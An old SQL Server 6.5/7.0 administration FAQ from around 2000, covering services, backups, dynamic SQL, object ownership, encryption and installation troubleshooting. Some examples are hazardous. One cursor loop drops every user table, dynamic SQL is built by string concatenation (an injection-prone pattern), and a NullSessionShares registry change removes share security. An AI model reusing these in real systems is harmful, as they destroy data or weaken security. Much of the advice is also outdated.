C:\> net stop SQLExecutive
C:\> net start MSSQLServer
C:\> net start SQLExecutive

SQL actually comes with its own service manager (Start - Programs - Microsoft SQL Server 6.5 - SQL Service Manager) which enables you to start/start/pause (pause is not available for SQLExecutive) services on various SQL machines. It also shows the current state of the services in a traffic light, ahhhh :-)

SQL Service Manager


Q. How do I modify the sa password for SQL?

A. The sa account is the standard admin account for SQL and has full privileges. To change the password perform the following:

  1. Start the SQL Enterprise Manager
  2. Expand the Servers and SQL 6.5 and Logins
  3. Double click on sa
  4. Select the password box. Delete the content and type your new password.
  5. Click Modify
  6. Enter the password again in the dialog. Click OK
  7. Click Close

You may wish to enable Windows NT integration which means any member of the Administrator's group will be logged in as sa automatically:

  1. Start the SQL Enterprise Manager
  2. Expand the Servers and SQL 6.5
  3. Right click on the server and select configure
  4. Click the "Security Options" tab
  5. Select "Windows NT Integrated" from the Login Security Mode.
  6. Click Apply Now then OK


Q. How do I edit/view data in a SQL database?

Q. How do I visually edit/view data in a SQL database?

A. SQL 6.5 and earlier versions do not come with tools to directly view/edit the data in the SQL database visually. SQL 7.0 will include such a tool however in the meantime there are a number of options available.

Visual Interdev allows you to access the SQL data in a table form however I will describe a procedure using Access 97.

The first item is to create an ODBC link to the SQL database (unless it is the local server)

  1. Start the ODBC control panel applet (Start - Settings - Control Panel - ODBC)
  2. Under User Data Sources will be a list of data sources you can connect to. Click Add
  3. Select SQL Server and click Finish
  4. Enter a name for the source, a description and a server name/IP address. Click Next
  5. Select the type of authentication and enter a username and password if applicable. Click Next
  6. You can set the default database by clicking "Change the default database to" and selecting one. Click Next
  7. Select character translation (except default) and click Next
  8. Select log options and click Finish
  9. At the end a summary will be displayed and click "Test Data Source" to perform a brief test. Click OK to complete
  10. Close the ODBC dialog box by clicking OK

Now you have the connection you need to configure Access to use it

  1. Start Access 97
  2. Select Blank Database and click OK
  3. Enter a name and directory, click Create
  4. Select the Tables tab
  5. From the File menu select Get External Data - Link Tables
  6. In the bottom left corner of the displayed dialog will be "Files of type:". Change this to "ODBC databases"
  7. A new dialog will be displayed. Click the "Machine Data Source" tab
  8. Select the Data Source created using ODBC earlier and click OK
  9. You may need to enter a password for the database.
  10. You will now see "Link Table" dialog, select and click OK.
  11. Under your main Table tab you will now see dbo.<database> and double clicking will give a graphical view.


Q. I am getting a message 'dbprocess dead or not enabled' running my query.

A. Other messages:

I am getting a message 'dbprocess dead' or 'language exec' from SQL Server.
I am seeing an 'Exception Access Violation' message in the SQL errorlog.
I am getting *.DMP files in the <sql>\log directory.
I am getting "symptom dump" messages.

Basically SQL is probably internally gpf'ing/AV'ing (same thing) - you should see messages to this effect in the SQL errorlog.

There are only three reasons for this to happen (in order of ascending probability) :-

1. A database corruption - you should rule this out by running dbcc checkdb, newalloc and checkcatalog commands.

2. A hardware problem - usually duff memory. Run vendor supplied diagnostic routines and/or sqlhdtst/sql7iostress utilities to check out the hardware.

3. A bug in the SQL Server code (this is the most likely cause - database corruptions rarely cause gpf's, and hardware errors normally show up in other ways). This is the Microsoft C code that makes up SQLSERVR.EXE and dll's, NOT your TSQL code. If you have SQL code that causes an AV it is Microsoft's bug, not yours. There is nothing anyone outside of Microsoft support can do to help you.

Assuming it's not a database corruption/hardware fault, then follow the following diagnostic process :-

1. Check the Microsoft Kb on Technet (if you don't have Technet then order it now!). Also check the on-line website at http://support.microsoft.com/support which is more up to date than Technet. Search on "kbbug AND AV AND SQL" to find all documented AV bugs - note AV's are a generic symptom of lots of bugs. Many articles contain workarounds but it is usually difficult to match up the stack traces to see if it is relevant to your situation.

2. Are you on the latest version of SQL Server and the latest service pack? Microsoft fix a lot of AV errors in every service pack, so it is definitely worth getting current. If you're not on the latest service pack then that is the first thing Microsoft are going to ask you to do if you contact them anyway. If you can't apply it to the production system immediately then apply the latest SP on a test system and see if it fixes the problem.

3. Check the SQL errorlog and save away all the messages - especially anything telling you what SQL was being executed at the time.

4. Check the \<sql>\LOG directory for SQLxxxx.DMP files that may have been created. These contain information on what SQL Server was doing at the time, module stack traces etc. Save these away for Microsoft support as necessary. (Though there is a PRINTDMP.EXE utility supplied the output of this is still of no use to anyone unless they have the SQLServer C source code)

5. Can you re-create the problem at will? If the SQL being run is not shown in the errorlog, then find out what the user/developer was doing at the time. Use SQL Trace/Profiler to capture the actual SQL code being run if you can. If you can't recreate it, it's still worth reporting as long as you have the errorlog(s) and dump file(s).

6. If you can re-create the problem, then see if you can create a reproduction script to show the problem. This needs to be capable of running on a brand-new install of SQL Server on a new database. Therefore it needs to contain all tables, user defined data types, triggers, views etc. needed to show the problem. If it needs data then try and keep this to a minimum. (If the script/data is reasonably short then post to one of the
newsgroups and one of MVP's can report it to Microsoft for you). Alternatively re-write your query (if possible) to run against the pubs or northwind (v7 only) database as these are always installed with SQL Server and come complete with a variety of tables, foreign keys, indices and data.

7. Can you work around the problem by re-writing the SQL? Even with a reproduction script Microsoft are unlikely to turn a fix around quickly - unless you are a multi-million dollar customer. And even then you wouldn't just be applying one small fix, it would be a latest build with lots of other fixes too - it won't have been regression tested, so it could cause more problems than it fixed anyway.

8. If SQL Server terminates from the Access Violation and there is no dump file produced then a possible cause of the problem is the use of SQL Trace. There is a bug in this (fixed in 6.5 SP5 and above) that can terminate the SQL Server being monitored. Another cause of this is heavy deadlocking - also fixed in SP5a.

9. Report the problem to Microsoft PSS. PLEASE do this even if you can workaround it. Unless Microsoft get these bug reports then they can't fix them. (With a repro script an MVP will do it for you). Your call fee WILL be re-imbursed as all calls about bugs are free. (However, on the "normal" support-line the person answering the phone can't know it's a bug, so they'll need your credit card details anyway). For PSS contacts see http://support.microsoft.com/support/supportnet/default.asp

Microsoft will need you to supply :-

SQL Errorlog(s)
NT event log(s) - if any NT errors were occuring at the time
TSQL code running at the time
Details of hardware, version of NT, servicepacks etc. WINMSDP output is good for this.

With SQL 7 there is a new utility that will garner most of this information for you automatically. It is called sqldiag -
sqldiag -U<login> -P<password> -O<output filename>


Q. How can I add/amend/delete columns?

A. Under SQL 7.0 all the above are easily done with standard ANSI "ALTER TABLE" ddl commands. Or they can be done via the gui or supplied stored-procedures.

With SQL 6.5 and below it is only possible to ADD a nullable column - or an IDENTITY column which seems to work even if it's not NULLable. For *any* other change a new table must be created, the data copied across, and the tables renamed around.

Certain 3rd party tools provide a gui interface to do this, that makes it look transparent, however they are really doing all the work described above, so if you make the change to a large table it will take a long time to do the work.

Examples of tools are :-

Microsoft's Visual Database Tools (part of Visual Interdev Enterprise Edition)
SQL Programmer from www.sfi-software.com
XCase - www.xcase.com
Desktop DBA - www.platinum.com
Speed Ferret

Note that there have been reports of Microsoft VDT losing data if you amend columns on a table and SQL does not have enough free-space to complete the task.


Q. I am getting a blue screen / completely hung machine / server restart on my SQL Server/client.

A. All the above can ONLY be caused by a hardware problem or with part of NT running in Kernel Mode. e.g. bits of NT, scsi drivers, network drivers, video drivers etc.

99.999% of the SQL Server code runs in user mode, just like any normal program. Therefore it is no more capable of causing a blue-screen than something like "Word" is. It can only "cause" the problem in as much as it stresses the hardware/memory/pci bus/disk subsystem and is exposing a bug in an NT driver. e.g. Drivers must typically lock all their memory so that it doesn't get swapped to the pagefile - SQL Server may "cause" un-locked driver pages to be swapped out due to it's memory needs. When the driver then goes to access the page - boom, blue screen!

The 0.001% of the code that does run in kernel mode is the SQLPERxx.DLL module (xx = 60 or 70) - due to the way that NT performance monitor works, this code works under the winlogon process rather than sqlserver.exe, and is in kernel mode. To see if this is an issue, rename the sqlperxx.dll and restart SQL. It won't find the dll and therefore won't load it - SQL performance counters will be disabled.

If you are getting one of these problems then it needs to be investigated like any other NT blue-screen problem. i.e. check the driver/program in control at the time, use dumpexam to look at the dump, apply a newer servicepack, upgrade all system drivers, contact Microsoft PSS for WINNT support.

You may also wish to download and run SQLHDTST (for 6.5) or SQL70IOSTRESS (for 7.0). These stress the hardware in the same way as SQL Server and could be used to show hardware/compatibility/driver problems.


Q. Where are the cascade update/delete functions in SQL Server?

A. There aren't any I'm afraid. These were initially thought to be going into SQL 7.0 but will now only be in SQL 2000 - due by the end of 1st half 2000.

For now, you need to implement your own cascade functionality with triggers. See Q142480 in the Microsoft Kb for more information on this and the ways to work with foreign keys which cause problems due to the way that triggers work/fire.

You can get some code samples for various sorts of triggers that implement this functionality from

http://www.mcse.org.il/isql/8/triggers.ppt
http://www.mcse.org.il/isql/Maintaining%20Referential%20Integrity.ppt

===

v1.04 2000.02.02
Applies to SQL Server versions : 4.x, 6.x, 7.0
Related FAQ articles : n/a
Related Microsoft Kb articles : Q142480
Other related information : n/a


Q. How can I issue a SQL command that uses a variable for the tablename, columns etc.

Q. How can I issue a SQL command that uses a variable for the tablename, columns etc?

A. Look up the EXEC command. Also sp_executesql. Note that the user must have permissions to the underlying tables/views etc. when running dynamic SQL like this - it does not inherit the permissions from a stored-procedure like the static SQL in an SP does.

A short example that selects a column from a table :-

USE pubs
go

DECLARE @str varchar(255)
DECLARE @columnname varchar(30)

SELECT @columnname='au_lname'

SELECT @str = 'SELECT ' + @columnname + ' FROM authors'
EXEC (@str)

-------------------------------

sp_executesql examples that return values.

declare @str nvarchar(500), @count int
set @str = N'select @count = count(*) from pubs..authors'
execute sp_executesql @str, N'@count int out', @count out
select @count

declare @str nvarchar(500), @au_lname nvarchar(500)
set @str = N'select TOP 1 @au_lname = au_lname from pubs..authors'
execute sp_executesql @str, N'@au_lname nvarchar(500) out', @au_lname out
select @au_lname

-------------------------------

An EXEC example from the books-online :-

This example shows how EXECUTE handles dynamically built strings with variables. This example creates a cursor (tables_cursor) to hold a list of all user-defined tables (type = 'U').
DECLARE tables_cursor CURSOR
FOR
SELECT name FROM sysobjects WHERE type = 'U'
OPEN tables_cursor
DECLARE @tablename varchar(30)
FETCH NEXT FROM tables_cursor INTO @tablename
WHILE (@@fetch_status <> -1)
BEGIN
/*
A @@fetch_status of -2 means that the row has been deleted.
No need to test for this as the result of this loop is to
drop all user-defined tables.
*/
EXEC ("DROP TABLE " @tablename)
FETCH NEXT FROM tables_cursor INTO @tablename
END
PRINT "All user-defined tables have been dropped from the database."
DEALLOCATE tables_cursor

--------------


Q. Why does my transaction-log fill up when I use fast-bcp?

A. Fast BCP and select into do not log record updates. However they DO log extent allocations. They need to do this so that if the process is terminated unexpectedly (maybe the power goes out), SQL can recover the space.

Therefore with large bcp's/select into's - when a lot of extents need allocating - the log can still fill. In which case it needs to be made larger.


Q. Why can't I backup/restore my SQL Server database to a share on another server?

A. The reason is that the MSSQLSERVER service is running under a separate set of NT credentials - all services are related to an NT account. It doesn't matter who YOU are logged on as (after all SQL runs quite happily when no-one is logged on locally to the server doesn't it). Therefore your logon account and any mapped drives are irrelevant. It is SQL Server doing the backup, not you. This is the same for backups done via SQL Executive/SQL Agent - they just pass the TSQL to SQL Server to run, so it's still MSSQLSERVER doing the backup/restore.

For this reason the backup gui does not show you mapped drives or allow a UNC path to be typed in. You have to use raw TSQL commands to do the backup.

The default set of NT credentials used by MSSQLSERVER is the Localsystem account. You can check what userid that MSSQLSERVER is running under by looking at control panel/services highlighting MSSQLSERVER and choosing the start-up option.

The Localsystem account has no access to shares on the network as it isn't an authenticated network account. Therefore SQL Server running under this account cannot backup to a normal network share.

So, if you want to backup to a network share you have two choices :-

1. Change the account the MSSQLSERVER service runs under to a user account with the relevant network rights.

or

2. Amend the following registry value on the TARGET server and add the sharename you want to dump to - the share does not then authenticate who is coming in and so a Localsystem account will work. The server service on the target server must be re-started before the change takes effect. Note that this effectively removes ALL security on that share, so you're letting anyone/anything have access. Which is probably not something you want to do with production business data.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\NullSessionShares

Whichever method you use, you MUST also use a UNC name to reference the file required and not a drive letter.

e.g. (6.5) DUMP DATABASE pubs to DISK='\\server01\share\backupdir\backup.dmp'
(7.0) BACKUP DATABASE pubs to DISK='\\server01\share\backupdir\backup.dmp'


Q. Can I do a SQL backup to a tape drive on another server?

A. No, not with built-in SQL tools. SQL will only dump to local tape devices. If you could find an NT driver that would make a remote tape drive look local then this would work as SQL just uses standard i/o calls. I don't know of such a driver at the moment.

You can always dump the SQL database to disk locally (or across the network with some provisos) and then back that up to tape.

Finally, you CAN do what you want with a 3rd party backup tool that has a SQL agent. Examples are BEI Ultrabac, Cheyenne Arcserve, Seagate BackupExec, Legato Networker and IBM ADSM - I'm sure there are others. These put SQL dumps (via a standard named-pipe interface) onto a standard dump tape, potentially as part of a complete server backup and not just SQL. Obviously if the named-pipe connection is made across the network then the dump will usually be a lot slower than doing it locally.

Contributed by Neil Pike


Q. I have a query that seems to lock other users out of the system.

A. In situations like this the usual problem is with locks. Check with sp_lock or sp_lock2 what the offending query is doing.

One common occurrence that people fell foul of was introduced in SQL 6.5 when Microsoft decided to let table creation be allowed in transactions by making it an ATOMIC transaction. A by product of this is that when a SELECT INTO is done it locks out system tables in the database concerned and prevents other users from accessing them. With a long-running select into this can cause real problems.

Microsoft recognised this and as long as you have at least service pack 1 applied you can set traceflag -T5302 to remove this behaviour. Check out Q153441 on the Microsoft Kb and 5302.txt in the FAQ for more information.

SQL 7.0 has row-level locking and so does not block on system tables like this.


Q. Should I apply SQL 6.5 SP4? Will it cause more problems than it fixes?

A. All service-packs come with problems, however in most cases they fix a lot more problems than they cause. 99% of bugs you may find in SP4 will be present in the gold release and all subsequent service packs - they are un-fixed/unknown bugs that are present in every release.

SP4, as SQL 6.5 service packs go, is a very stable one. For a list of bugs fixed in SP4, download it and check the fixlist.txt file.

There are a couple of known problems with SP4 that don't occur with other service packs.

1. There is a regression of a numeric index bug. With SP4 if you say

WHERE <fieldname> = 1

then it will tablescan even if there is an index on the numeric fieldname. But if you specify

WHERE <fieldname> = 1.0 then it will work ok.

2. The Instdist.sql script that comes with SQL Server 6.5 Service Pack 3 can cause problems with replication if it is run more than once. This file is also distributed with Service Pack 4, so if you go from SP3 to SP4 then it is run a second time. This obviously only affects systems that use replication. Full information can be found in Q184882 in the Microsoft Kb.


Q. How do I transfer data to/from another DBMS/format to SQL Server?

A. There are a variety of methods/tools :-

1. For MS-Access you can try the free Access upsizing wizards available from MS's website - check out the softlib area under www.microsoft.com/support. These will convert from versions of Access to SQL 4.x, 6.x and 7.x.
Try http://www.microsoft.com/accessdev/prodinfo/aut97dat.htm and
http://support.microsoft.com/support/downloads/dp2864.asp?FR=0
for more info.

2. If you can unload the data from the foreign dbms into flat-file format - e.g. tab separated, comma-separated, fixed-format etc. then you can use the SQL BCP.EXE tool. This is a command-line program and is fully doc'd in the books-online. It is the fastest way of getting data into/out of SQL Server, but it only works via flat-files. The unload and load processes have to happen in series - meaning longer run times.

3. If you have an ODBC driver for the other format then there are several 3rd party tools you can use that offer transfer/migration functionality and are gui-based, but can also be automated and run from the command-line. These tools can be used to copy to/from ANY ODBC data sources - they don't have to be SQL Server at one end. Examples of these sorts of tools are :-

www.datajunction.com (Data Junction)
www.sqlmover.com (SQL Mover)
www.platinum.com (InfoPump)

4. If you have SQL 7.0 then this comes with a tool called DTS that works in a similar manner to the above. It works with any Odbc or OLE-DB accessible data source. Again it doesn't have to be SQL 7.0 at one end. However if you weren't using it to migrate to/from SQL 7.0 you would have to check whether there were any licensing implications.

5. Specifically for the AS/400 there are a couple of tools that have been around for some time - offering real-time replication as well as transfer.

www.datamirror.com (Data Mirror). DataMirror will bi-directionally replicate between AS/400, SQL Server, Oracle, Sybase and DB/2.
www.visionsolutions.com (Symbiator)

For generic ODBC/OLE-DB access to the AS/400 also see

www.hit.com/hitweb/daccess/dchome.htm

Whatever you use you still need a driver to connect to the AS/400 that works - here is one that is reported to work ok with SQL 6.5 and 7.0.
IBM's Client Access ODBC driver v3.1.3 SP48155

6. Oracle has a Migration Workbench utility for free download. Search
www.oracle.com for "Migration Workbench".


Q. Why can't I get at a network file when I run a program from xp_cmdshell?

A. The reason is that the MSSQLSERVER service is running under a separate set of NT credentials. It doesn't matter who YOU are logged on as (after all SQL runs quite happily when no-one is logged on to the console doesn't it). Therefore your logon account and any mapped drives are irrelevant. It is SQL Server running the program (e.g. bcp) not you.

The default set of NT credentials used by MSSQLSERVER is the Localsystem account. You can check what userid that MSSQLSERVER is running under by looking at control panel/services highlighting MSSQLSERVER and choosing the start-up option.

The Localsystem account has no access to shares on the network as it isn't an authenticated network account.

So, if you want a program running under xp_cmdshell to access a network resource you have two choices :-

1, Change the account the MSSQLSERVER service runs under to a user account with the relevant network rights.

or

2, Amend the following registry value on the TARGET server and add the sharename you want to access - the share does not then authenticate who is coming in and so a Localsystem account will work. The server service on the target server must be re-started before the change takes effect. Note that this effectively removes security on that share, so you need to be careful about what is in the share. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\NullSessionShares

Whichever method you use, you MUST use a UNC name to reference the resources required and not a drive letter.
e.g. xp_cmdshell 'dir \\server01\share'

Contributed by Neil Pike


Q. Is Microsoft SQL Server Y2K compliant?

A. It is now 2000, so you should know by now! :-)

That depends on what you mean by "compliant". If you mean the base SQL kernel functionality works as you would expect then yes, as long as you are using "proper" datetime formats then all versions of SQL Server perform correctly - if you are holding dates in char/numeric format, then it totally depends on how you are processing them, it is not an Microsoft SQL Server issue.

SQL Server does date-windowing for two digit dates. If you specify only the last two digits of the year, values less than 50 are interpreted as 20yy, and values greater than or equal to 50 are interpreted as 19yy. For example, if you specify 3, the result is 2003. If you specify 82, the result is 1982. You must type the century when the day is omitted or when you need a century other than the default. (In SQL 7.0 you can modify the cut-off date for the windowing function).

However, if you mean the whole of the Microsoft SQL Server product set including all the gui tools, then there are a few non-showstopper problems that have been found. These are all documented at www.microsoft.com/y2k along with MS's stance and technical info on Y2K issues for all their products. The SQL 6.5 Y2K fix titles are also copied at the bottom of this note.

These problems have been found, fixed and tested in SQL 6.5 and are in Service Pack 5a - which is downloadable from support.microsoft.com.

SQL 7.0 is Y2K compliant.

SQL 1.x, 4.x and 6.0 are NOT being tested or certified by MS. They are unlikely to have any other problems than those found in the 6.5 product though, so if you can live with those (and most people can), then they should be ok. I know of no Y2K issues that companies have found with their existing 4.x and 6.x systems that can be attributed to SQL Server.

You can check MS's website for any more Y2K info on them, but all it says is that the products are legacy and have not been tested/certified.

Vendor's certification should only be one part of Y2K testing anyway - the most important part is that YOU test your clients, servers, apps, databases, networks etc. in your production environment.

------------------

SQL 6.5 Y2K bug numbers and titles

17458 Year 2000 Problem with Expiredate
17937 Y2000, ExpireDate is not set correctly when year of 2000 used in DUMP DATABASE
17947 RETAINDAYS: expired dump media can not be overwritten if current year is >= 2000
17948 Dump db with RETAINDAYS during Y2000-9, EXPIREDATE will be set to NULL
17997 Y2000: dump device dumped with expiredate set to >=2000 can be override with init
17661 Task Manager UI: one time task date\time spin box doesn't pick up 2/29/2000
18153 Web Assistant: Cannot use Year as 00 on Scheduling
18170 Invalid Y2K dates are accepted with no error by sp_addtask
18180 Invalid Y2K dates are accepted with no error by sp_purgehistory and sp_updatealert


Q. How can I change the owner of an object?

A. With SQL 7.0 there is a stored-procedure (sp_changeobjectowner) to do this, however under SQL 6.5 and earlier there is no supported method to do this. (With 7.0 the sp doesn't work for user-defined types so you'll have to use the direct method).

It can be achieved by directly addressing and updating the system table concerned though.

1. Get the uid number for the new owner from sysusers
( select name, uid from sysusers where name = "<New Owner Name>" )
2. Configure your server to allow updates to system tables
( exec sp_configure "allow updates",1 )
( reconfigure with override )
3. Begin a transaction
4. Update the sysobjects table, changing the uid column value of the objects concerned to the uid you want.
( update sysobjects set uid = <New UID> where name = "<Table Name>" )
5. Check that the right number of rows have been affected.
6. Commit or rollback the transaction, depending on the result
7. Configure your server to NOT allow updates to system tables
( exec sp_configure "allow updates",0 )
( reconfigure with override )
8. Stop and start your SQL Server

(The last step is necessary as portions of system tables are kept in memory by SQL Server, and the only way to force these to update is to recycle SQL Server)

as an example :-

select * from sysobjects where uid = user_id('user1')

exec sp_configure 'allow updates', '1'

reconfigure WITH OVERRIDE

go

BEGIN TRANSACTION

update systypes set uid = user_id('dbo') where uid = user_id('user1')

COMMIT TRANSACTION

exec sp_configure 'allow updates', '0'

reconfigure WITH OVERRIDE

go


Q. I've just changed NT domain for my SQL Server/clients and am unable to connect.

A. This isn't a SQL issue, it's an NT one. If you are using a net-lib that requires NT authentication - e.g. with 6.5 and below named-pipes or multiprotocol - then you MUST be able to authenticate to the copy of NT running SQL Server. With 7.0 all net-libs require NT authentication.

You can test whether you can do this by doing a "NET VIEW \\servername" from a command prompt on the client. If you get an access denied message, or get prompted for a password, then you aren't being authenticated.

If this happens then you need to setup a trust between the domains. Or, you could use a net-lib that does not need authentication - e.g. tcp-ip sockets.

If you can't have a trust (and really this IS the best method) then you can override the NT details by doing a "net use \\<server>\ipc$ /user:<serverdomain>\<userid> <password>" with an account that is in the domain. But this is a manual process and prone to fail when the password changes.


Q. Are there any "easter eggs" in SQL Server?

A. Yes,

SQL 6.5 Enterprise Manager.

  1. Using the Enterprise Manager create a "New Server Group" called starfighter.
  2. Register a Server called IS COOL (note there is a space there) under this new server group.
  3. Click 'register anyway' as it won't connect.
  4. Highlight "IS COOL" and click the "About Box " to see the development team.

SQL 6.5 ISQL/W

  1. Connect to a server (or just click cancel)
  2. Choose help/about.
  3. Press F1 and you will now see the ISQL/W development team.

Contributed by Neil Pike


Q. How do I encrypt fields in SQL Server?

A. Taking the fields first - there is no supported, documented way of doing this, and because you can't write user-defined functions yet then your choices are :-

1. Write your own extended-stored-procedure (XP) to do it. However this can't be applied as a function, so it is messy - you need to call the XP per column and then issue an update with the value it returns. A free-ware example of this is available from www.vtc.ru/~andrey/xp_crypt

2. Do it in the application, back at the VB, C etc. level. This is what most people do and is the recommended method.

3. You can use the ODBC Encrypt function, but I don't think you can decrypt it. e.g. insert into x values ({Encrypt N'Hello'}).

4. ** This option only here for completeness **
There are undocumented pwdencrypt() and pwdcompare() functions - they are for Microsoft internal use and their function is likely to change/break in future - people who ignored advice and used them in 6.x applications have found that the passwords generated do not work in SQL 7.
As many people now know about these functions they are mentioned here for completeness, but if you use these functions you will not receive support from Microsoft and will be completely on your own when you got problems with a new SP/version.

5. SQL 2000 will implement user-defined functions. As long as you can write your own encrypt/decrypt function completely in TSQL then this will be an option.

6. Use a DBMS that already supports UDF's like DB/2, Oracle....

Note that any field you use a function on you won't be able to index effectively as indices are ignored when a function is applied to a key in a where clause.

On to whole objects. SQL has a built-in function to encrypt stored-procedures - however the algorithms for 6.5 and 7.0 have been broken and so de-cryption is now possible if you know how. There is no encryption facility for tables/data.

Finally, the whole database. There is no SQL wide encryption function that would prevent users from hex-editing your devices and gleaning data from it. It is possible to use NT file-system level encryption as SQL won't know it is there. However, you have to put a password to "unlock" the file(s) somewhere if you want to automate the process of starting SQL after NT re-boots. Windows 2000 comes with file level encryption with the new EFS (encrypted file system) which can be used with SQL Server.

You need to ask yourself if you need encryption - unless the person(s) you are worried about have physical or NT network access to the SQL devices then the only way to them is via a SQL logon which can be secured.

If the reason you want to prevent access is that the raw data/schema is being hosted by a 3rd party/customer and you want to protect your intellectual property rights, then currently all you can do is :-

Make all access to data via stored-procedures. Put all logic you want to hide in these.
Give users access to these sp's, but NOT to any underlying tables/views.
Then delete the syscomments entries for the sp's - this leaves the compiled version in sysprocedures.

If you have to give someone sa rights to maintain the database then they will still be able to get to the schema/data, but at least they won't be able to see the stored-procedure code.

===

v1.11 2000.02.02
Applies to SQL Server versions : All
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. What tools are available to produce entity relationship diagrams for SQL Server?

A. There are several on the market, including (in no particular order)

Case Wise
Erwin
S-Designer (www.powersoft.com)
ER/Studio (www.embarcadero.com)
Visio Professional

Also there are some tools built-in to Microsoft products. Note that these just do diagrams, whereas the 3rd party tools (with the exception of Visio) above have a wide-range of project lifecycle, reverse engineering etc. abilities.

Visual Database Tools does ER-diagrams
SQL 7.0 has built-in ER diagrams
MS-Access (you'll have to connect all the SQL tables first)


Q. Where is the SQL Server FAQ?

A. Contrary to appearance this message isn't strictly speaking a faq entry - just something I have done to save some time answering common questions on the newsgroups. There isn't one all encompassing FAQ like there is for some non-Microsoft newsgroups. See sqlbooks.txt in the FAQ for lists of several places for good info.

This "FAQ" is held at various locations. The most-up-to-date version is always on the compuserve site and is held as a single zip file. The other versions are maintained (and sometimes added to) by the owners of the various sites, some have search engines around it etc. N.B. there is no copyright or restriction whatsoever on other people using/publishing the FAQ as long as it is not for commercial gain. If you want to use the whole FAQ or any part of it, then just let me know (neilpike@compuserve.com) and I will add you to the mailing list for FAQ update.

http://forumsb.compuserve.com/vlforums/UK/default.asp?SRV=MSDevApps (library 7 (SQL Public) - sqlfaq.zip - anyone can download - you don't have to be a CIS member)
http://www.ntfaq.com/sql.html
http://www.sql-server.co.uk
http://www.swynk.com/faq/sql/sqlserverfaq.asp

The Microsoft "official" faq is at :-
http://support.microsoft.com/support/sql/content/faq/default.asp.

Plenty more SQL articles, bug reports etc. can be found by searching the Microsoft Knowledgebase at www.microsoft.com/support. An off-line copy of the knowledgebase as well as hundreds of articles, white-papers, resource-kits, service packs etc. can be found on the Technet CD. If you don't subscribe to Technet then do so NOW as it is the single most important source of knowledge for support staff responsible for Microsoft technologies.


Q. Which SQL net-lib is the fastest?

A. On normal LAN and fast WAN links you are unlikely to see a real-world difference in responses times between any of the net-libs - this is due to the fact that network response/number of packets is not significant in these environments compared to application/database/server responses.

However, on slow network connections - anything from 64Kbit/sec and below can be considered slow - then you will see a performance improvement if you use the tcp-ip sockets net-lib.

Contributed by Neil Pike


Q. I'm having trouble installing SQL Server.

A. Try the following check-list of things that could go wrong. Notes apply to all versions/types of SQL Server unless otherwise specified.

1. On an NT box make sure you have administrator level permissions on the machine in question, as SQL needs to create registry entries, services etc.

2. Make sure that the Server and Workstation services are running. If the server service is not running you may see an error "Error 2114 occurred while attempting to perform operation 'NetServergetInfo'". Look in the NT event log to ascertain the chain of events that has caused the services not to start.

3. Make sure the machine is of the required spec to run the version of SQL you are installing. I.e. if it is SQL EE then make sure you have NT EE. For SQL 7 you need a 100% PENTIUM compatible chip or an Alpha - older Cyrix/IBM chips that do not support the full pentium instruction set will not work. More info in another faq entry.

4. If you have tried to install SQL before then manually clean-up all the files/registry entries as follows :-

Remove the <sql> directory and everything under it
Remove the <sql> dir from the path (use control panel/system for this)
Remove the SQL registry entries using regedt32/regedit. These are :-
(All versions)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
(6.0 and above.)
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSDTC
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLExecutive
(7.0 and above)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServerAgent
HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server 7
HKEY_LOCAL_MACHINE\Software\Microsoft\MSSQLServ65

If you have lost permission to any of the registry keys then log on as administrator and take ownership of them starting at the highest relevant level. Use regedt32 and check the box to take ownership of all subkeys as well.

5. If SQL is complaining about not enough space being there, then this could be due to a known bug when there is between <n> times 4,295,917 KB and <n> times 4,367,417 KB. To get around this either create temporary files to use space up, or start the SQL setup program as follows. Spacing is important.

<sqldir>\i386\setup /t SpaceChecking = Off

6. SQL Server is dependent on network functionality - even for the set-up routines. Specifically it needs to use named-pipe/mailslot functionality (on NT machines - see number 6 for Win9x). These usually require a network card to be present. If you don't have a network card then go to control panel/networks, choose add adapter and then add the Microsoft loopback adapter - which is just a dummy driver, no hardware involved. This needs to have working network protocol(s) bound to it. Let whichever protocols you have use default parameters, EXCEPT for tcp-ip. If you are using this then do NOT specify dhcp assigned address, use 192.168.1.1 as the IP address and 255.255.255.0 as the subnet mask. This is a standard RFC1918 non-routed IP address so shouldn't clash with any dial-up address you may be given by an ISP. If you are using the IPX/SPX protocol, accept the default frame type of 802.3.

If the server service does not start after installing the loopback adapter and you get the message "The server service terminated with the following error: Not enough server storage is available to process this command" in the event log, then you need to re-install your *NT* service pack to synchronise your NT networking files.

One way of testing that the named-pipes functionality works is to run the makepipe and readpipe utilities that come with SQL Server. Run makepipe in one command window. Then run readpipe in another. If these work (i.e. the readpipe connects to makepipe and closes it down) then it is a good indication that networking functionality is ok.

7. If you're installing SQL 7 on Windows 9x then you have to install Microsoft Client for Networks via the Network applet in Control Panel (note, this isn't the "Microsoft Family" network that will get installed by default). It must also be your primary network logon. Make sure this has a working protocol on it as per number 5. Once SQL 7 is installed then it doesn't need to be your Primary Network Logon, but it still needs to be installed.

8. Because a named-pipe, used by the set-up routine, is effectively a file as far as the operating system is concerned, real-time Virus scanners can cause problems. Most of these have been fixed so they don't interfere with SQL's named-pipes, so make sure you're running the latest version of whichever virus package you use. But if in doubt, then disable the virus software for the duration of the install as they are prime culprits for install errors/hangs.

9. Other software packages/services can also interfere with SQL's install on NT systems - typically they interfere with named-pipes/mailslot connectivity by intercepting requests. Setup will terminate with an error like 'unable to write to mailslot.....'. Shut-down any/all of these for the duration of the install. Packages that are known to interfere with SQL's setup routines include :-

IIS - Internet Information Server - the web parts, not FTP
PWS - Personal Web Server
Exchange Server
SNA Server
Oracle
DBWeb
Backup software e.g. Arcserve/Backup Exec
Systems Management - e.g. UniCentre, Compaq Insight Manager
Microsoft SMTP
Microsoft NNTP
Disk Keeper
Protected Storage (part of Internet Explorer)
SNMP Service(s)

On Win9x systems you may also get problems if the following are running :-

Quicken Download Manager

